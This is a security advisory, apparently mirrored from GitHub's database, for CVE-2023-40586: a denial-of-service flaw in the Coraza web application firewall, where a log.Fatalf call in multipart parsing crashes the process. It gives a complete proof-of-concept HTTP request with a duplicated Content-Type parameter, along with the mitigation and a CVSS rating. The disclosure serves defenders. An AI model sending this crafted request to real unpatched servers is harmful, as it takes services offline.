Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1jMnBqLXYzN3ItMnA2aM4AA0El

Coraza has potential denial of service vulnerability

Summary

Due to the misuse of log.Fatalf, the application using coraza crashed after receiving crafted requests from attackers.

Details

https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29
The bodyprocessors of multipart uses log.Fatalf to handle errors from the mime.ParseMediaType, but log.Fatalf calls os.Exit directly after logging the error.
https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291
This means that the application will immediately crash after receiving a malicious request that triggers an error in mime.ParseMediaType.

PoC

The server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server

After sending this request

POST / HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: curl/8.1.2
Accept: */*
Content-Length: 199
Content-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2
Connection: close

--------------------------5fa6351b877326a1
Content-Disposition: form-data; name="file"; filename="123"
Content-Type: application/octet-stream

123

--------------------------5fa6351b877326a1--

The server will crash immediately. The a=1; a=2 in Content-Type makes mime: duplicate parameter name error.

Impact

I believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.

Mitigation

The error from mime.ParseMediaType should return directly.

Permalink: https://github.com/advisories/GHSA-c2pj-v37r-2p6h
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMnBqLXYzN3ItMnA2aM4AA0El
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 11 months ago
Updated: 6 months ago

CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-c2pj-v37r-2p6h, CVE-2023-40586
References:

• https://github.com/corazawaf/coraza/security/advisories/GHSA-c2pj-v37r-2p6h
• https://github.com/corazawaf/coraza-caddy/issues/48
• https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec
• https://github.com/corazawaf/coraza/commit/e1b119b83e12c64f0957e00e8cad45a1b5f012f8
• https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29
• https://github.com/corazawaf/coraza/releases/tag/v3.0.1
• https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291
• https://github.com/corazawaf/coraza/commit/a5239ba3ce839e14d9b4f9486e1b4a403dcade8c
• https://nvd.nist.gov/vuln/detail/CVE-2023-40586
• https://github.com/advisories/GHSA-c2pj-v37r-2p6h

Repository: https://github.com/corazawaf/coraza
Blast Radius: 9.0

Affected Packages